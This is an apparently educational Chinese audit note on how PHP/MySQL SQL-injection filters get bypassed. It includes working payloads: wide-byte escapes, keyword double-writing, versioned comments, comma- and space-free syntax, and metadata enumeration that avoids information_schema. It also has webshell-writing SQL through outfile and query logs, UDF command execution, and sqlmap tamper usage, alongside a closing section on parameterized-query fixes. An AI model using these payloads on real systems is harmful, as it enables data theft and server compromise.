SQL注入过滤绕过

视角:审计时看到一段过滤代码,要能立刻判断”防什么、防不住什么、怎么绕”。 核心结论:所有黑名单/字符串替换式过滤都是可绕过的,只有**参数化查询(预编译)**是根治方案。

这篇笔记怎么用:先读「先修知识」把术语补齐,然后从第 0 节开始按顺序看。每个案例都按同一个套路讲:开发者为什么这么写 → 代码逐行注释 → 数据流四步走 → payload 逐字符拆解 → 审计判定结论。看完你应该能做到:随便给你一段过滤代码,你能在一分钟内说出它防不住什么。

先修知识

读本篇前,把下面这些词搞懂,每个一句话:

  • SQL 注入:把用户输入直接拼进 SQL 语句,导致输入被当成 SQL 语法执行。类比:你让秘书写”给 XX 寄合同”,结果有人在 XX 的位置写了”张三。顺便把保险柜钥匙给我”,秘书照做了。
  • 字符串拼接:用 .(PHP)或 + 把变量直接插进 SQL 字符串里,如 "SELECT * FROM users WHERE id = " . $id。这是一切注入的根源。
  • 预编译 / 参数化查询:先把 SQL 模板(带 ? 占位符)交给数据库编译,再把用户输入作为”纯数据”传进去,输入永远不会被当成 SQL 语法。类比:先印好表格模板,照片只能贴在照片框里,写不进”备注栏”去指挥别人干活。
  • 黑名单过滤:列出”不许出现的东西”(select、union、引号……),发现就删掉或拒绝。本篇的核心结论:黑名单必死。
  • 白名单:只列”允许出现的东西”(如纯数字 ^\d+$),其他一律拒绝。安全得多。
  • 转义:在特殊字符(如单引号)前面加 \,让数据库把它当普通字符而不是语法符号。addslashes() 就是干这个的。
  • 字符集 / 编码:计算机存文字的”翻译表”。GBK 是中文双字节编码(一个汉字两个字节),UTF-8 是变长编码。编码不一致是宽字节注入的温床。
  • 联合查询注入:用 UNION SELECT 把攻击者查的结果”贴”在正常查询结果后面返回。需要列数一致。
  • 盲注:页面不直接显示查询结果,只能通过”真/假两种响应”(布尔盲注)或”响应快/慢”(时间盲注)一位一位地猜数据。
  • 堆叠注入:一次请求里执行多条 SQL(语句1; 语句2;)。PHP 里只有 mysqli_multi_query() 这类接口才支持,普通 query() 不支持。
  • 一句话木马 / webshell:写在服务器上的极短后门,如 <?php eval($_POST['cmd']);?>——你 POST 什么 PHP 代码它就执行什么。
  • WAF / 过滤函数:Web 应用防火墙或代码里自写的输入检查函数。本篇讲的”过滤”主要指后者。
  • 元数据 / information_schema:MySQL 自带的”数据库的数据库”,记录着所有库名、表名、列名。注入时查它才能知道目标库里有什么。

0. 过滤代码长什么样(审计 Source)

先搞明白:开发者为什么要写过滤代码?

因为他知道 SQL 注入危险,但不知道预编译才是正解,或者图省事——觉得”把危险词删掉不就完了”。这种思路像在家门口贴个纸条”坏人禁止入内”:坏人不会变少,只是换件衣服进来。审计员的活就是指出:这件纸条防不住哪几种”换装”。

审计第一步:定位这几类危险模式

下面这段代码把四种最典型的”防了但没防住”写法凑齐了。每一行我都标了它的问题:

<?php
// ❌ 危险写法 1:str_replace 黑名单替换(最常见)
// 把 select/union/and/or 替换成空字符串。问题:只替换一次,可以"双写"绕过
$id = str_replace(['select', 'union', 'and', 'or'], '', $_GET['id']);
 
// ❌ 危险写法 2:preg_replace 正则单次替换
// 和写法 1 同病:替换只发生一次,且 /i 只解决大小写,解决不了嵌套
$sql = preg_replace('/select|union|sleep/i', '', $_GET['id']);
 
// ❌ 危险写法 3:addslashes / 手工转义单引号
// addslashes 只给 4 个字符加反斜杠:' " \ NULL
// 对数字型注入完全无效;在 GBK 编码下还有宽字节绕过(第 1 节细讲)
$name = addslashes($_GET['name']);
$name = str_replace("'", "\\'", $_GET['name']);   // 手工版 addslashes,同样的问题
 
// ❌ 危险写法 4:自定义 waf 函数,只拦了几个关键字
// 关键字清单永远列不全:benchmark、handler、/*!*/ 注释……都能绕
function waf($s) {
    if (preg_match('/union|select|information_schema/i', $s)) die('hack!');
    return $s;
}
?>

审计判定要点(背下来,看到就打标):

你在代码里看到你的判定为什么
str_replace/preg_replace 对关键字做一次性替换❌ 双写/嵌套必绕selselectect 删掉中间的 select 后又拼出 select
addslashes/mysql_escape_string + 数据库连接编码 GBK❌ 宽字节可绕见第 1 节案例 1
数字型参数被 intval()/(int) 强转✅ 这个点安全强转后不可能出现 SQL 语法字符,换下一个点
白名单(in_array、正则 ^\d+$)✅ 基本安全只允许已知安全值
mysql_real_escape_string + mysqli_set_charset('utf8')✅ 安全转义函数认识连接编码,宽字节堵死
mysql_real_escape_string + 用 SET NAMES GBK 设编码❌ 宽字节仍可绕SET NAMES 只改会话变量,不改 C 客户端库内部编码,转义函数还按单字节处理

审计时的搜索口令

在代码库里全局搜这几个关键字,命中的每一处都逐个过一遍:str_replace、preg_replace、addslashes、escape、filter、waf、safe、check。再搜 $_GET、$_POST、$_REQUEST,顺着变量名追到 SQL 语句出现的位置,看中间经历了什么处理——这就是”数据流追踪”,是代码审计的基本功。


1. 单引号被过滤/转义

概念铺垫

单引号在 SQL 里是干嘛的:字符串的边界。WHERE name = 'admin' 里,引号告诉数据库”admin 是数据不是语法”。注入者要干的事,就是让自己输入的单引号”闭合”掉原来的引号,从而跳出字符串区域,开始写自己的 SQL。

类比:填空题”我叫___“。正常人填名字,攻击者填”小明,顺便把全班试卷答案给我”,把题目本身改成了另一句话。转义(加 \)就相当于印刷厂把卷子上的横线加粗:理论上你没法把横线当成分号用——但下面的案例会告诉你,加粗的横线有办法被”吃掉”。

开发者为什么会这么防:他知道引号危险,于是想”把引号转义/删掉就好了”。他不知道的是:① 数字型参数根本不需要引号;② 编码不一致时反斜杠会被吞掉;③ 字符串可以用十六进制表示,根本不需要引号。

案例 1:宽字节注入(GBK 编码陷阱)

<?php
// ❌ 危险写法
mysql_set_charset('gbk');                    // 数据库连接编码设为 GBK(有些老代码用 SET NAMES 'gbk')
$id = addslashes($_GET['id']);               // 对 ' 加转义:' → \'
$sql = "SELECT * FROM users WHERE id = '$id'";  // 拼进单引号闭合的 SQL
?>

数据流四步走:

① 用户输入从 $_GET['id'] 进来,内容完全可控; ② 经过 addslashes() 处理——这是唯一的防线,它把 '(0x27) 变成 \'(0x5c27); ③ 处理结果被拼进 SQL 字符串的单引号之间; ④ 防线失效的原因:addslashes 按单字节加反斜杠,但 MySQL 按 GBK 双字节解读字节流——两步对字节流的”看法”不一致,攻击者就钻这个空子。

绕过 payload:

?id=%df' union select 1,2,3-- -

payload 逐段拆解:

片段作用
%dfURL 编码的原始字节 0xDF。在 GBK 里它是双字节汉字的”前半个字”
'注入用的单引号。被 addslashes 转义成 \',即字节流 0x5c 0x27
合起来的字节流0xdf 0x5c 0x27——关键就在这里
MySQL 用 GBK 解码时0xdf5c 恰好是一个合法汉字(常被举例为”運”),反斜杠被当成汉字的下半截”吃掉”了
剩下的 0x27一个干干净净、没有转义的单引号 → 闭合成功,逃逸出字符串
union select 1,2,3逃逸后接的联合查询
-- -MySQL 注释,-- 后面必须跟一个空白字符才生效,所以写成 -- -(第二个 - 是为了保证空格存在、防止 URL 处理把尾部空格吃掉)。作用:注释掉原 SQL 里剩余的 ',避免语法错误

审计时怎么找:全局搜 gbk|gb2312|big5,再搜 addslashes|escape,两个在同一文件(或同一数据流)里共现 = 高危宽字节注入点。再确认一下参数在 SQL 里被单引号包裹(不被包裹的话连宽字节都不需要,直接数字型注入)。

修复:SET character_set_client = binary,或 mysqli_set_charset('utf8mb4') 并弃用 GBK 全家。

条件核查(面试爱问)

宽字节利用需要:① MySQL 客户端编码(character_set_client)是 GBK/GB2312/BIG5 这类双字节编码;② 转义函数只会加 \。还要注意 SET NAMES gbk 和 mysql_set_charset('gbk') 的区别:后者会同步 C 客户端库的内部编码,让 mysql_real_escape_string 认识 GBK、按双字节边界转义,从而免疫宽字节;而 SET NAMES 只改会话变量、不改库内部编码 → 转义函数仍按单字节干活 → 仍可绕。审计时看到 SET NAMES + GBK 就直接判定有问题。

案例 2:数字型注入根本不需要引号

<?php
// ❌ 危险写法:只防了引号,参数本身没强转成数字
$id = str_replace("'", '', $_GET['id']);     // 删掉所有单引号
$sql = "SELECT * FROM users WHERE id = $id";   // 注意:$id 外面没有引号!
?>

数据流:① $_GET['id'] 进来 → ② 单引号被删光(唯一防线)→ ③ 裸拼进 SQL,没有引号包裹 → ④ 防线失效:数字型参数位置本来就不需要引号来闭合,过滤引号防了个寂寞。

绕过 payload:

?id=1 union select 1,2,3

逐段拆解:1 闭合原来的查询条件;空格分隔;union select 1,2,3 直接跟上联合查询——全程没有一个引号,过滤代码无从发力。

审计结论:过滤单引号对数字型参数完全无效。审计时的检查动作:找到拼接点后,先看变量在 SQL 里有没有被引号包住。没包住的数字型参数,唯一的正确防护是 intval()/(int) 强转;看到”过滤引号 + 无引号拼接”的组合直接报漏洞。

案例 3:引号没了,字符串照样写(编码思路)

假设场景:' 被拦死,参数又被引号包裹,宽字节也用不了。还能注吗?能——字符串不一定非要用引号写出来。

-- 原语句:select * from users where name = 'admin'
-- 等价写法:十六进制字面量
select * from users where name = 0x61646d696e

逐段拆解 0x61646d696e:

片段含义
0xMySQL 十六进制字面量的前缀,告诉数据库”后面是十六进制字节”
61 64 6d 69 6e逐字节翻译:61=‘a’,64=‘d’,6d=‘m’,69=‘i’,6e=‘n’ → 拼起来就是 admin

同理还有 char() 函数路线:char(97,100,109) 用 ASCII 码拼出 adm(97=‘a’,100=‘d’,109=‘m’)。注意 char() 参数里有逗号,如果逗号也被过滤就走不通,第 2 节讲对策。

审计结论:过滤引号只是提高了构造 payload 的难度,并不能阻止字符串的表示。只要注入点成立,引号过滤挡不住数据外泄。


2. 逗号被过滤

概念铺垫

逗号在 SQL 里负责分隔:substr(str,1,1) 的三个参数、limit 9,1 的偏移和条数、union select 1,2,3 的三列。开发者看到注入 payload 里全是逗号,就拍脑袋”把逗号删了”,这是典型的格式黑名单思维——他不知道 MySQL 语法非常灵活,几乎所有含逗号的写法都有无逗号的等价形式。

<?php
// ❌ 危险写法
$id = str_replace(',', '', $_GET['id']);     // 删掉所有逗号
$sql = "SELECT * FROM news WHERE id = $id";  // 数字型拼接
?>

数据流:① 输入进来 → ② 逗号被删(唯一防线)→ ③ 拼进 SQL → ④ 防线失效:攻击者把 payload 全部改写成无逗号语法,过滤形同虚设。

绕过 payload 对照表(左边是你想用的,右边是逗号被删后的等价写法):

原语句无逗号等价写法原理说明
substr(database(),1,1)substr(database() from 1 for 1)MySQL 给 substr/mid/left 家族提供了 from ... for ... 的替代语法,from 后是起始位置,for 后是长度
limit 9,1limit 1 offset 9limit 9,1 含义是”跳过 9 条取 1 条”;改写成 limit 条数 offset 跳过数,注意两个数字位置对调
union select 1,2,3union select * from (select 1)a join (select 2)b join (select 3)c用 JOIN 把多个单列子查询横向拼起来,等效于一行三列
盲注逐位比较 ascii(substr(...,i,1))>ncase when substr(user from 1 for 1)='a' then 1 else 0 end盲注逻辑改用 case when 表达,配合 from ... for 版 substr,全程零逗号

经典联合查询替代,逐段拆解:

select * from (select 1)a join (select 2)b;
片段作用
(select 1)a子查询产生一行一列(值是 1),a 是给这个临时表起的别名(MySQL 强制要求子查询有别名)
join把两个临时表横向拼接
(select 2)b第二个临时表,值是 2
整体效果得到一行两列 (1, 2),等效于 select 1,2 但没用一个逗号

顺手修一个常见错误认知

有笔记写”逗号被过滤时 left(str,1) 可继续用,因为它只有一个逗号”——这是错的。str_replace(',', '', ...) 会删掉 payload 里所有逗号,left(user,1) 会变成 left(user1) 直接报语法错误。逗号全删场景下,任何含逗号的函数都死,mid(user from 1 for 1) 才是活路。

审计结论:看到 str_replace(',', ...) 或正则删逗号,直接判定无效防护,PoC 用 from ... for 版 substr 或 JOIN 联合查询即可。


3. 空格被过滤

概念铺垫

空格是 SQL 里最常见的分隔符(union select 中间那个)。开发者的朴素想法:“没空格你怎么写语句?“——他不知道的是,MySQL 认可的”空白”远不止 ASCII 空格(0x20),注释和括号也能当分隔符用。这就像门卫只查”没穿校服的不许进”,结果别人戴个帽子就混进去了。

<?php
// ❌ 危险写法
$id = str_replace(' ', '', $_GET['id']);     // 只删 ASCII 空格 0x20
$sql = "SELECT * FROM users WHERE id = $id";
?>

数据流:① 输入进来 → ② 空格被删(唯一防线)→ ③ 拼进 SQL → ④ 防线失效:换 MySQL 认可的其他分隔符即可。

绕过 payload 对照:

技术payload 片段说明
内联注释union/**/select/**/1,2,3/**/ 是 MySQL 注释,解析时被当成一个”空白”,等价于空格。最常用
换行/回车union%0aselect%0a1,2,3%09(TAB)、%0a(换行)、%0c(换页)、%0d(回车) 都是 MySQL 认可的空白字符
特殊空白union%a0select%a01,2,3%a0(不间断空格)在部分 MySQL 版本/字符集下被当空白,视环境而定,当作备用手段
括号包裹union(select(1),2,3)select(...)、from(...) 的括号天然形成语法边界,紧邻处不需要空格
反引号select`user`from`users` 反引号包裹的表名/列名自带边界,紧邻关键字时可以省掉空格

重点拆解 union/**/select/**/1,2,3:

片段作用
union联合查询关键字
/**/MySQL 块注释,里面没内容,解析时整个被当空白丢弃 → 效果就是一个空格
select因为前面的 /**/ 已经和 union 分开了,语法成立
后面的 /**/同理分隔 select 和列清单

审计结论:只过滤 ASCII 空格(0x20)必然漏掉 MySQL 认可的其余空白字符(0x09~0x0d 等)和注释、括号等语法分隔手段。审计看到过滤空格的代码,顺手再检查一下它是否同时过滤了 /**/、%0a 这类输入——99% 不会。正确做法仍然是:不要过滤,用预编译。


4. 关键字过滤(select / union / sleep / into outfile / in)

概念铺垫

这是黑名单思路的”终极形态”:开发者把注入 payload 里常见的英文单词列个清单,见到就删。思路本身有两个致命伤:① 清单永远列不全(MySQL 的等价函数和语法太多);② 一次性替换可以被”双写”还原。本节是全文的重点,面试也最爱问。

<?php
// ❌ 危险写法:一次性替换关键字
$kw = ['select', 'union', 'sleep', 'outfile', 'in'];
$id = str_ireplace($kw, '', $_GET['id']);    // 不分大小写地删一遍
$sql = "SELECT * FROM users WHERE id = $id";
?>

数据流:① 输入进来 → ② 黑名单里的词被删掉一遍(唯一防线)→ ③ 拼进 SQL → ④ 防线失效:删一遍不代表删干净,删完后的残余字符可能重新拼出关键字。

顺带一提:黑名单还会误伤正常业务

上面清单里的 'in' 会把正常单词里的字母组合也删掉——用户搜 “select” 相关词、甚至搜 “login”(含 “in”)都会被改得面目全非。审计报告里可以把这个当”附赠证据”:这种过滤不但防不住攻击,还破坏正常功能,两头不讨好。

绕过 payload 对照:

被过滤关键字绕过手法payload 片段原理
select大小写混淆sELecTMySQL 关键字大小写不敏感,但只匹配小写的过滤器会被绕过(上例用了 str_ireplace 所以这条对它无效,对非 i 模式的正则有效)
select双写/嵌套selselectect过滤器删掉中间的 select 后,剩下的 sel + ect 恰好拼回 select。一次性替换的死穴
select可执行注释/*!50000select*/MySQL 专有的版本化注释:50000 表示”版本 ≥ 5.0.0 时把注释内容当 SQL 执行”;不带版本号的 /*!select*/ 无条件执行
sleep等价延时函数benchmark(50000000,md5(1))让 MySQL 把 md5(1) 算 5000 万次,纯 CPU 耗时实现时间盲注
sleep笛卡尔积重查询select count(*) from information_schema.columns a,information_schema.columns b,information_schema.columns c三份大表做笛卡尔积,行数爆炸,视库大小延数秒
sleep大正则(select 'a' rlike '(.*){30}.*')正则回溯造成 ReDoS 式延时;MySQL 5.5+ 换了正则引擎后效果大减,视版本而定
into outfile日志写 shellgeneral_log / slow_query_log 方案见第 6 节,日志文件路径是运行时变量,不受 secure_file_priv 限制
in换比较方式where id=1、between、like、or 链多数 in 场景都能改写

拆解 /*!50000select*/:

片段作用
/*!MySQL 可执行注释的开头标记——普通注释是 /*,多个 ! 就变身成”只有 MySQL 才执行的特殊注释”
500005 位版本号:50000 = 5.0.0,80001 = 8.0.1。含义”MySQL 版本 ≥ 此值时才执行注释内容”
select要执行的真正的 SQL 内容
*/注释收尾

拆解双写 selselectect(针对一次性替换):

原始 payload:    s e l s e l e c t e c t
过滤器找到:            [s e l e c t]        ← 匹配到中间这段,删掉
删除后剩余:      s e l + e c t = s e l e c t  ← 重新拼出了 select!

HANDLER 读表(select 被彻底拦截时的终极替代,MySQL 5.0+):

handler users open;          -- 打开 users 表,获得一个句柄
handler users read `first`;  -- 读第一行
handler users read `next`;   -- 读下一行,连续调用可遍历全表
handler users close;         -- 关闭句柄

HANDLER 是 MySQL 的底层表访问接口,绕过了 SQL 层——所以不经过 select 关键字,也不做权限校验。

HANDLER 的条件

HANDLER 的多条语句必须跑在同一条数据库连接里(打开句柄的连接要是读数据的那条)。所以实战里它依赖堆叠注入(如 PHP 用 mysqli_multi_query 执行多语句)才可用。审计时搜 multi_query、->exec 之类看应用是否允许一次执行多条 SQL,允许则 HANDLER 路线成立。

审计结论:关键字黑名单在 MySQL 的语法弹性(大小写不敏感、可执行注释、等价函数、HANDLER)面前全部失效。看到任何”替换/拦截关键字”的过滤函数,判定无效防护;写报告时挑 /*!*/ 和双写两个点做 PoC 即可。


5. information_schema 被过滤

概念铺垫

information_schema 是 MySQL 自带的”数据库的数据库”,里面的 tables、columns 表记录着所有库、表、列的名字。注入时你想知道”目标库里有什么表、表里有什么列”,标准答案就是查它。开发者因此把它加进黑名单——但他不知道 MySQL 5.6+/5.7+ 自带了好几张**“影子元数据表”**,里面躺着同样的信息。

<?php
// ❌ 危险写法
if (stripos($id, 'information_schema') !== false) die('hack');
$sql = "SELECT * FROM users WHERE id = $id";
?>

数据流:① 输入进来 → ② 含 information_schema 字样就 die(唯一防线)→ ③ 否则拼进 SQL → ④ 防线失效:元数据又不是只有这一个入口。

影子元数据表一览:

替代表条件能拿到什么
mysql.innodb_table_statsMySQL 5.6+,目标表是 InnoDB 引擎库名.表名
mysql.innodb_index_statsMySQL 5.6+库名.表名(还有索引名)
sys.schema_auto_increment_columnsMySQL 5.7+(sys 库默认自带)有自增列的表名 + 列名
sys.schema_table_statistics_with_buffer / sys.x$schema_table_statisticsMySQL 5.7+被查询过的表名(依赖使用痕迹,新表可能查不到)
sys.x$schema_flattened_keysMySQL 5.7+表名 + 索引涉及的列名

payload 示例:

union select 1,group_concat(table_name),3 from mysql.innodb_table_stats where database_name=database()

逐段拆解:

片段作用
union select 1,...,3联合查询,列数和原查询对齐(这里假设 3 列)
group_concat(table_name)把所有行里的表名拼成一个逗号分隔的字符串一次性带出来(注入时常用,省得一行一行翻)
from mysql.innodb_table_stats从影子元数据表查,绕开 information_schema 黑名单
where database_name=database()database() 返回当前库名,只取当前库的表

无列名注入(连列名都拿不到时)

假设影子表也拿不到列名(比如目标表没索引、没自增列),还能把数据注出来吗?能,两种经典技巧。

技巧 A:反引号数字别名

-- 场景:目标表 users(id, username, password),想取第 2 列但不知道列名
select `2` from (select 1,2,3 union select * from users)x limit 1,1;

逐段拆解:

片段作用
select 1,2,3 union select * from users子查询前半段产生列名分别为 1、2、3 的一行;union 把 users 的真实数据贴在后面(列名沿用前半段的 1,2,3)
(...)x整个子查询当临时表,别名 x。此时这个临时表的列名就是 1、2、3——我们亲手”命名”了不知道的列
select \2“用反引号引用名为 2 的列,即原表的第 2 列
limit 1,1跳过第一行(那是我们自己造的 1,2,3),取第二行,即 users 的第一条真实数据

技巧 B:join … using 同名列

select * from (select 1,2,3)a join (select 1,2,3)b using(2);

using(2) 指定两个表按”同名列 2”做等值连接。配合子查询投影可以把第 N 列的数据暴露出来,同样不需要知道真实列名。

别名技巧的副产品:报错反推列名

技巧 A 里如果子查询出现重复列名会报 Duplicate column name 'xxx'。这个报错本身就能当情报用:select * from (select * from users a join users b using(id))x 会依次报出不同的列名,反复构造就能逐个推出全部列——报错信息也是数据出口。

审计结论:information_schema 只是元数据入口之一。审计时看到只拦截 information_schema 而没拦 mysql.、sys. 前缀、堆叠和别名技巧的,判定绕过成立。


6. 写 shell 姿势对比与审计

概念铺垫

SQL 注入的终点往往不是”读数据”,而是”在服务器上留个后门”——写一句话木马(webshell)到 Web 目录,然后用浏览器连上去拿持久控制。MySQL 本身提供了把查询结果导出成服务器文件的能力(into outfile),这就是注入写 shell 的原理。开发者要防,通常只在黑名单里加 outfile——本节告诉你为什么这不够。

写 shell 的前置条件(全部必须满足,审计时逐条核查):

  1. 数据库用户有 FILE 权限(能读写服务器文件的高危权限);
  2. secure_file_priv 允许写目标目录——这个系统变量管导入导出:NULL=完全禁止;空串=不限制;指定路径=只能写那个路径。MySQL 5.7.6 起官方包默认 NULL,但具体值视发行版而定,审计/渗透时都要先查;
  3. Web 目录可写,且物理路径已知。

姿势一:into outfile / into dumpfile

select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php';

逐段拆解:

片段作用
'<?php eval($_POST[cmd]);?>'一句话木马本体:eval 把你 POST 过来的 cmd 参数当 PHP 代码执行
into outfile让 MySQL 把查询结果写进服务器文件
'/var/www/html/shell.php'目标路径——Web 根目录下的一个 PHP 文件,写完就能通过 HTTP 访问

两个导出关键字的区别(面试必考):

对比项into outfileinto dumpfile
输出格式逐行输出,行尾自动加换行符整行原样写出,不附加换行
特殊字符\n、\0 等会被转义处理原样写入(二进制安全)
一次写几行可多行只能导出一行
适用场景写文本 webshell写 UDF 动态链接库(.so/.dll)、需要精确控制文件内容的场景

结论:写一句话木马两者皆可;写 UDF 二进制必须用 dumpfile(一个多余换行就能毁掉 ELF/PE 文件头)。

姿势二:general_log / 慢日志写 shell(outfile 被禁后的第一替代)

set global general_log = on;                          -- 打开全局查询日志
set global general_log_file = '/var/www/html/x.php';  -- 把日志文件指到 Web 目录
select '<?php eval($_POST[cmd]);?>';                  -- 这条查询原文会被写进日志文件

原理:MySQL 开启 general_log 后会把每一条查询的原文记进日志文件。我们把日志文件路径指到 Web 目录、后缀改成 .php,再发一条内容是一句话木马的查询,木马原文就落盘了。

慢日志同理:

set global slow_query_log = 1;
set global long_query_time = 0;             -- 阈值设为 0:所有查询都算"慢查询"
set global slow_query_log_file = '/var/www/html/x.php';
select '<?php eval($_POST[cmd]);?>' from users where sleep(10);

为什么这是 outfile 的头号替代:general_log_file / slow_query_log_file 是运行时变量,不受 secure_file_priv 限制——就算 secure_file_priv=NULL 禁掉了 into outfile,日志路线照样能写。

限制(同样要写进审计报告):

  • 需要堆叠注入(多语句)或能控制查询上下文——set global 和写木马的查询得先后执行;
  • 日志里不只有你的木马,还有查询的时间戳等格式信息,webshell 片段中的特殊字符可能被日志格式破坏,实践中要构造让 shell 片段完整落在日志里的 payload。

姿势三:其余替代路线

  • UDF 提权:用 dumpfile 把编译好的 udf.so(Linux)/ udf.dll(Windows)写到 MySQL 的 plugin 目录,然后 create function sys_exec returns integer soname 'udf.so' 注册自定义函数,之后 select sys_exec('cmd') 就能执行系统命令。需要 FILE 权限 + plugin 目录可写。
  • 写 SSH 公钥 / crontab / 自启脚本:仅当 MySQL 以 root 等高权限账户运行、且目标路径可写时可行。
  • 写配置文件:如 PHP 的 .user.ini(配合 auto_prepend_file 包含链)。

审计结论:审计”写 shell 防护”代码时,只查有没有拦 outfile 是远远不够的——还要核查 secure_file_priv 配置值、general_log/slow_query_log 运行时变量的可改性、是否存在堆叠注入、MySQL 进程的运行账户权限。只拦关键字的过滤代码一律判定无效。


7. GPC / addslashes 家族的原理与绕过

概念铺垫

GPC 是什么:PHP 早期的”自动转义”特性 magic_quotes_gpc——开启后,所有 GET/POST/COOKIE 输入里的 '、"、\、NULL 会被自动加上 \。相当于 PHP 给所有输入”统一过一遍 addslashes”。PHP 5.4 已经把这个特性整个删掉了(因为它制造了大量安全假象),但现代代码里手工调用 addslashes() 或框架自写转义函数的,思路一模一样,病也一模一样。

<?php
// ❌ 危险写法:自以为开了 GPC 就安全
$name = $_GET['name'];   // magic_quotes_gpc=On 时,输入里的 ' 已自动变成 \'
$sql = "SELECT * FROM users WHERE name = '$name'";
?>

三大绕过路线:

路线 1:宽字节。见第 1 节案例 1。GBK 连接编码 + 转义函数 = %df' 逃逸,对 GPC 和手工 addslashes 一视同仁。

路线 2:数组传参。很多自写过滤函数只考虑了”输入是字符串”的情况:

<?php
// ❌ 危险写法:对数组输入失效
function check($v){ return addslashes($v); }   // 假设 $v 一定是字符串
$id = check($_GET['id']);   // 传 ?id[]=1 时,$_GET['id'] 是数组,addslashes 直接收到数组
?>

数据流与失效原因:① 攻击者传 ?id[]=1&id[]=2,PHP 会把 $_GET['id'] 组装成数组而不是字符串 → ② addslashes() 收到数组:PHP 5/7 下报警告并返回 NULL,PHP 8 下直接抛 TypeError → ③ 后续代码如果缺 is_array 判断,NULL 或原始数组会流入拼接逻辑 → ④ 更隐蔽的是键名注入:$_GET 的 key 本身也是用户可控的(?a'-- =1),而自写过滤器几乎没人过滤键名。

审计动作:全局搜 addslashes|htmlspecialchars|trim 直接作用于 $_GET/$_POST/$_REQUEST 而前面没有 is_array 检查的代码;再检查代码里有没有把 $_GET 的键名拿去拼接的地方。

路线 3:二次注入(二阶注入)。最反直觉的一种,重点理解:

<?php
// ❌ 危险写法:入库转义,出库裸拼
$name = addslashes($_GET['name']);                                   // 用户注册时输入: admin' -- 
$sql  = "INSERT INTO users(name, pass) VALUES('$name', '...')";      // 转义后安全入库
// 关键:转义只影响 SQL 解析过程,真正存进数据库字段的是原始值 admin' --
// (\' 只是"告诉 SQL 解析器这是普通引号",落盘时反斜杠不存在)
 
// ... 几天后,用户改密码:
$old  = $row['name'];                                                // 从库里取出 admin' -- (无转义!)
$sql2 = "UPDATE users SET pass='$new' WHERE name='$old'";            // ❌ 引号原样拼进去,注入成立
?>

数据流四步走:

① 恶意输入 admin' -- 在注册环节进入,被 addslashes 转义; ② 第一条 INSERT 安全执行——但存进数据库的是脱去反斜杠的原始值 admin' -- ; ③ 在改密码环节,程序从库里读出这个值,天真地相信”库里的数据是干净的”,没再转义就拼进第二条 UPDATE; ④ 防线失效的原因:转义只对”那一次 SQL 解析”有效,不是对数据本身的永久消毒。出库后的数据和用户刚输入的一样毒。

类比:入库转义像过安检时给危险品贴了张”已检查”的封条,封条在入库那一刻就撕掉了;出库时仓库管理员看东西在库里,以为它是安全的,直接拆包使用。

审计结论:看到转义函数后必须追踪数据的完整生命周期:入库前转义 ≠ 出库后安全。审计方法:搜 UPDATE|INSERT 语句里拼接了从 SELECT 结果取出的字段的代码路径——重点看注册→改资料、发帖→编辑、留言→引用这类”先存后取”的业务流。


8. sqlmap tamper 脚本与绕过类型对照表

概念铺垫

sqlmap 是什么:自动化 SQL 注入工具,能自己探测注入点、枚举数据。tamper 脚本是它的”变形器”——在 payload 发出去之前,按规则改写 payload(比如把空格换成 /**/),专门用来绕过过滤/WAF。对审计员来说,tamper 清单就是一张**“过滤绕过手法 cheat sheet”**:审计一段过滤代码时,对着这张表逐一脑测”这段代码能防住哪一个”,防不住的就是漏洞路径。

tamper 脚本作用针对的过滤类型
space2comment空格 → /**/空格过滤
space2plus / space2randomblank空格 → + / 随机空白(%09 等)空格过滤
randomcase随机大小写 SeLeCt大小写敏感的关键字匹配
between> → BETWEEN x AND y比较符过滤
equaltolike= → LIKE等号过滤
greatest> → GREATEST(a,b) 比较比较符过滤
charunicodeescape字符串 → unicode 转义关键字/引号过滤(部分场景)
apostrophemask' → UTF-8 全角 %ef%bc%87单引号过滤(某些解析链路)
unmagicquotes宽字节 %df' + 注释闭合addslashes/GPC(GBK 场景)
versionedkeywords关键字 → /*!50000select*/MySQL 关键字黑名单
halfversionedmorekeywords关键字 → /*!0select 前缀形式MySQL 关键字黑名单
multiplespaces空格 → 多个空格只替换单个空格的低质量过滤
base64encode整体 base64(配合服务端会解码的参数)特定业务解码入口
ifnull2ifisnullIFNULL → IF(ISNULL())函数名黑名单

用法:sqlmap -u "http://t/?id=1" --tamper=space2comment,randomcase --level=3(多个 tamper 用逗号串起来,按顺序变形)。

审计结论:这张表也是自查清单——你审计的过滤函数能防住表里几行?防不住的那些,就是可以写进报告的漏洞路径。


9. 防御与修复(审计建议)

概念铺垫

讲了这么多绕过,收个尾:什么才是真防御?一句话——让数据永远不可能变成语法。过滤是”赌我想到所有坏写法”,预编译是”从机制上堵死数据和语法混用的可能”。类比:过滤像保安背坏人长相,预编译像把访客区和金库修成物理隔离的两栋楼。

<?php
// ✅ 安全写法 1:PDO 预编译(真预编译)
$pdo = new PDO($dsn, $user, $pass, [
    PDO::ATTR_EMULATE_PREPARES => false,     // 关键:关闭模拟预编译,让 MySQL 原生预编译接管
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$pdo->exec("SET NAMES utf8mb4");
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND name = ?");  // 模板先编译
$stmt->execute([$_GET['id'], $_GET['name']]);   // 输入只作为数据传入,永远进不了语法层
 
// ✅ 安全写法 2:数字型强转
$id = intval($_GET['id']);                   // 强转后只剩纯数字,不可能含 SQL 语法
$sql = "SELECT * FROM users WHERE id = $id";
 
// ✅ 安全写法 3:白名单(排序字段、表名等无法预编译的位置)
// 预编译的 ? 占位符只能填"值",不能填列名/表名/排序方向,这些位置只能白名单
$order = in_array($_GET['sort'], ['id', 'name'], true) ? $_GET['sort'] : 'id';
?>

审计红线(写报告/复核时逐条查)

  1. PDO::ATTR_EMULATE_PREPARES => true(模拟预编译,PHP 侧自己拼好再发)在某些边界场景(如 GBK 编码 + LIMIT 子句绑定)仍可注入,审计要显式确认关闭了模拟模式。
  2. mysqli_real_escape_string 仅在 mysqli_set_charset 正确设置编码后才算安全;配 SET NAMES GBK 等于没防(第 1 节)。
  3. 所有”先过滤再拼 SQL”的代码一律标记为不可信;唯一可信路径是参数化 + 无法参数化处白名单。

10. 面试题眼/速答(题库四.39-45)

考点一句话答案展开两三句
单引号被过滤怎么绕三条路:数字型不需要引号、宽字节吃掉反斜杠、字符串改十六进制/char()数字型参数无引号包裹时引号过滤形同虚设;GBK 编码下 %df' 让 %df%5c 组成汉字吞掉转义符;实在不行用 0x61646d696e 这类十六进制字面量表示字符串,全程零引号
